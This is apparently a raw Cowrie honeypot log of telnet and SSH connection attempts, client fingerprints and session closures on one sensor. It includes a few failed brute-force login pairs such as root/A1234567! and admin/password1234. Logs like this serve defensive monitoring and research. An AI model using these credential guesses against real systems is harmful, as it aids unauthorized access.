{"eventid":"cowrie.session.closed","duration":30.89652395248413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:12.094723Z","src_ip":"94.23.76.26","session":"99c44a46b79e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.761196613311768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:12.100831Z","src_ip":"75.119.159.60","session":"5a9a62ee6fa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":46062,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b430f18c677","protocol":"telnet","message":"New connection: 75.119.159.60:46062 (10.17.0.5:23) [session: 1b430f18c677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:12.325930Z"}
{"eventid":"cowrie.session.closed","duration":30.795434713363647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:13.045228Z","src_ip":"94.23.76.26","session":"7d7c0db97b80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.99309301376343,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:13.199894Z","src_ip":"46.4.8.162","session":"58ee41e0d81b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":41290,"dst_ip":"159.203.135.109","dst_port":23,"session":"d99f0ceb96c3","protocol":"telnet","message":"New connection: 94.23.76.26:41290 (159.203.135.109:23) [session: d99f0ceb96c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:13.386328Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41466,"dst_ip":"159.203.135.109","dst_port":22,"session":"efa54d91e35a","protocol":"ssh","message":"New connection: 159.203.92.129:41466 (159.203.135.109:22) [session: efa54d91e35a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:13.889992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:13.894976Z","src_ip":"159.203.92.129","session":"efa54d91e35a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:13.900575Z","src_ip":"159.203.92.129","session":"efa54d91e35a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password1234","message":"login attempt [admin/password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:13.929034Z","src_ip":"159.203.92.129","session":"efa54d91e35a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":41296,"dst_ip":"159.203.135.109","dst_port":23,"session":"23b635850f73","protocol":"telnet","message":"New connection: 94.23.76.26:41296 (159.203.135.109:23) [session: 23b635850f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:14.369406Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":41298,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a53253c3ffd","protocol":"telnet","message":"New connection: 94.23.76.26:41298 (159.203.135.109:23) [session: 8a53253c3ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:14.624778Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:14.937570Z","src_ip":"159.203.92.129","session":"efa54d91e35a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.86851668357849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:15.156055Z","src_ip":"75.119.159.60","session":"84aa2b9e0302","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.339465618133545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:15.665919Z","src_ip":"94.23.76.26","session":"3471ecf9902b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":41306,"dst_ip":"159.203.135.109","dst_port":23,"session":"66cae046eaad","protocol":"telnet","message":"New connection: 94.23.76.26:41306 (159.203.135.109:23) [session: 66cae046eaad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:15.807090Z"}
{"eventid":"cowrie.session.closed","duration":30.876612186431885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:16.083398Z","src_ip":"94.23.76.26","session":"29ac7982284d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52573013305664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:16.098212Z","src_ip":"75.119.159.60","session":"88a37b5342f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.918432235717773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:16.146949Z","src_ip":"94.23.76.26","session":"f1080a8ae74f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":57932,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dc3b0753f20","protocol":"telnet","message":"New connection: 94.23.76.26:57932 (159.203.135.109:23) [session: 4dc3b0753f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:16.887207Z"}
{"eventid":"cowrie.session.closed","duration":30.97278618812561,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:18.307650Z","src_ip":"94.23.76.26","session":"4d8f1fb34aa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.947672367095947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:18.333568Z","src_ip":"94.23.76.26","session":"aef1d74f9486","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77910041809082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:19.078141Z","src_ip":"75.119.159.60","session":"2d3a53f41494","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":19669,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0db54a20411","protocol":"ssh","message":"New connection: 223.197.186.7:19669 (159.203.135.109:22) [session: e0db54a20411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:19.791688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:19.798269Z","src_ip":"223.197.186.7","session":"e0db54a20411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:20.028447Z","src_ip":"223.197.186.7","session":"e0db54a20411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1234567!","message":"login attempt [root/A1234567!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:20.955199Z","src_ip":"223.197.186.7","session":"e0db54a20411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.863116979599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:21.127867Z","src_ip":"94.23.76.26","session":"7162aa8cbe50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":57942,"dst_ip":"159.203.135.109","dst_port":23,"session":"90775c025bc9","protocol":"telnet","message":"New connection: 94.23.76.26:57942 (159.203.135.109:23) [session: 90775c025bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:21.930752Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:22.178062Z","src_ip":"223.197.186.7","session":"e0db54a20411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":57956,"dst_ip":"159.203.135.109","dst_port":23,"session":"233465abeef1","protocol":"telnet","message":"New connection: 94.23.76.26:57956 (159.203.135.109:23) [session: 233465abeef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:22.213039Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":57968,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1a546894942","protocol":"telnet","message":"New connection: 94.23.76.26:57968 (159.203.135.109:23) [session: d1a546894942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:22.365111Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":57970,"dst_ip":"159.203.135.109","dst_port":23,"session":"aaed7ecf2718","protocol":"telnet","message":"New connection: 94.23.76.26:57970 (159.203.135.109:23) [session: aaed7ecf2718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:22.369384Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":34210,"dst_ip":"159.203.135.109","dst_port":22,"session":"8463c6efc7a3","protocol":"ssh","message":"New connection: 103.148.100.146:34210 (159.203.135.109:22) [session: 8463c6efc7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:22.375056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:22.379713Z","src_ip":"103.148.100.146","session":"8463c6efc7a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":57976,"dst_ip":"159.203.135.109","dst_port":23,"session":"01750938a941","protocol":"telnet","message":"New connection: 94.23.76.26:57976 (159.203.135.109:23) [session: 01750938a941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:22.473013Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:22.651026Z","src_ip":"103.148.100.146","session":"8463c6efc7a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":45486,"dst_ip":"159.203.135.109","dst_port":23,"session":"796ba2640e08","protocol":"telnet","message":"New connection: 46.4.8.162:45486 (159.203.135.109:23) [session: 796ba2640e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:23.285791Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":45492,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccaf58bab375","protocol":"telnet","message":"New connection: 46.4.8.162:45492 (159.203.135.109:23) [session: ccaf58bab375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:23.482281Z"}
{"eventid":"cowrie.login.failed","username":"ftproot","password":"ftproot","message":"login attempt [ftproot/ftproot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:23.746166Z","src_ip":"103.148.100.146","session":"8463c6efc7a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":57984,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f01a04d8bc3","protocol":"telnet","message":"New connection: 94.23.76.26:57984 (159.203.135.109:23) [session: 2f01a04d8bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:23.929454Z"}
{"eventid":"cowrie.session.closed","duration":30.79376530647278,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:24.039653Z","src_ip":"94.23.76.26","session":"d26a1c591540","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.793901681900024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:24.056237Z","src_ip":"75.119.159.60","session":"c3d6938c72f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.927800178527832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:24.291891Z","src_ip":"35.187.38.22","session":"a7515875a1ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:25.014961Z","src_ip":"103.148.100.146","session":"8463c6efc7a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.70927333831787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:25.050443Z","src_ip":"94.23.76.26","session":"a420fb987d3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":57014,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc9abaab8a64","protocol":"telnet","message":"New connection: 94.23.76.26:57014 (159.203.135.109:23) [session: bc9abaab8a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:25.996478Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":57018,"dst_ip":"159.203.135.109","dst_port":23,"session":"666975880058","protocol":"telnet","message":"New connection: 94.23.76.26:57018 (159.203.135.109:23) [session: 666975880058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:26.465948Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":57030,"dst_ip":"159.203.135.109","dst_port":23,"session":"229a22f988ed","protocol":"telnet","message":"New connection: 94.23.76.26:57030 (159.203.135.109:23) [session: 229a22f988ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:27.220520Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":45504,"dst_ip":"159.203.135.109","dst_port":23,"session":"55f1bfdd2dc3","protocol":"telnet","message":"New connection: 46.4.8.162:45504 (159.203.135.109:23) [session: 55f1bfdd2dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:27.372457Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":45510,"dst_ip":"159.203.135.109","dst_port":23,"session":"84d9f422f310","protocol":"telnet","message":"New connection: 46.4.8.162:45510 (159.203.135.109:23) [session: 84d9f422f310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:27.775541Z"}
{"eventid":"cowrie.session.closed","duration":30.751288175582886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:28.041296Z","src_ip":"94.23.76.26","session":"dacdf88f35ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60501790046692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:28.071865Z","src_ip":"94.23.76.26","session":"1cfa06be6cca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.583207607269287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:28.097118Z","src_ip":"94.23.76.26","session":"4704454bfe33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78897738456726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:28.130688Z","src_ip":"94.23.76.26","session":"3436f9e533fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.303918600082397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:28.326352Z","src_ip":"35.187.38.22","session":"288a1278b5fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":57040,"dst_ip":"159.203.135.109","dst_port":23,"session":"81ab83f5ba3c","protocol":"telnet","message":"New connection: 94.23.76.26:57040 (159.203.135.109:23) [session: 81ab83f5ba3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:29.226011Z"}
{"eventid":"cowrie.session.closed","duration":31.029189586639404,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:29.270624Z","src_ip":"94.23.76.26","session":"fb93afdc6ae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07134747505188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:29.277591Z","src_ip":"94.23.76.26","session":"d3eef2372e8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.159.60","src_port":33084,"dst_ip":"10.17.0.5","dst_port":23,"session":"827803b1c18d","protocol":"telnet","message":"New connection: 75.119.159.60:33084 (10.17.0.5:23) [session: 827803b1c18d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:29.341986Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":57052,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0fe68464d95","protocol":"telnet","message":"New connection: 94.23.76.26:57052 (159.203.135.109:23) [session: c0fe68464d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:29.445932Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":45512,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee0735d7c3cf","protocol":"telnet","message":"New connection: 46.4.8.162:45512 (159.203.135.109:23) [session: ee0735d7c3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:30.118792Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":57054,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4b85e66090d","protocol":"telnet","message":"New connection: 94.23.76.26:57054 (159.203.135.109:23) [session: e4b85e66090d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:30.235513Z"}
{"eventid":"cowrie.session.closed","duration":31.012874126434326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:30.273081Z","src_ip":"94.23.76.26","session":"b8a814708bc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60278034210205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:30.333688Z","src_ip":"94.23.76.26","session":"2a1341451b15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":57062,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2e9c9df2743","protocol":"telnet","message":"New connection: 94.23.76.26:57062 (159.203.135.109:23) [session: b2e9c9df2743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:22:30.907319Z"}
